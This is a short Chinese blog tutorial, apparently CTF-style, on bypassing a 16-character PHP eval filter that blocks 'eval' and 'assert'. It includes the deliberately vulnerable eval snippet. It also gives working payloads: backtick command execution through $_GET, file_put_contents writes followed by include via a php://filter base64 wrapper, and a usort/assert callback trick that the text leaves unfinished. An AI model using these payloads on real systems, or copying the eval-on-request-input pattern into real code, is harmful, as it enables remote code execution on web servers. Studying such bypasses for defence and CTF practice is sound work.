一些Bypass

目录

EVAL长度限制

方法1:

方法2:

方法3:


EVAL长度限制

  1. 如下PHP代码将param限制为16位,我们又能做些什么
<?php
$param = $_REQUEST['param'];
if (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

此时我们可用传递phpinfo测试是否正常,显然phpinfo();小于17位并没有eval、assert等出现当然可以通过

那如果我们想要执行超过16位的语句呢?

可以使用到到如下方法进行绕过

方法1:

`$_GET[1]`

此时长度为10并未大于16

进行命令执行转代码执行,因为在Linux下的反引号(``)是可以用来执行命令的

如:

echo `pwd`

方法2:

$_GET[1](S,A,8);&1=file_put_contents

刚好16位

向S这个文件插入A

既然这样我们可以逐字插入插入的代码

很明显插入成功了

再插入我们经过base64编码的构造的php代码

最后通过include文件包含执行

param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=S

方法3:

仅5.6+变长参数+usort回调

1[]=test&1[]=phpinfo();&2=assert

发现并没反应是吧,那是因为没有GET接受参数放进usort

这里我们用到burp进行抓包

  • 7
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值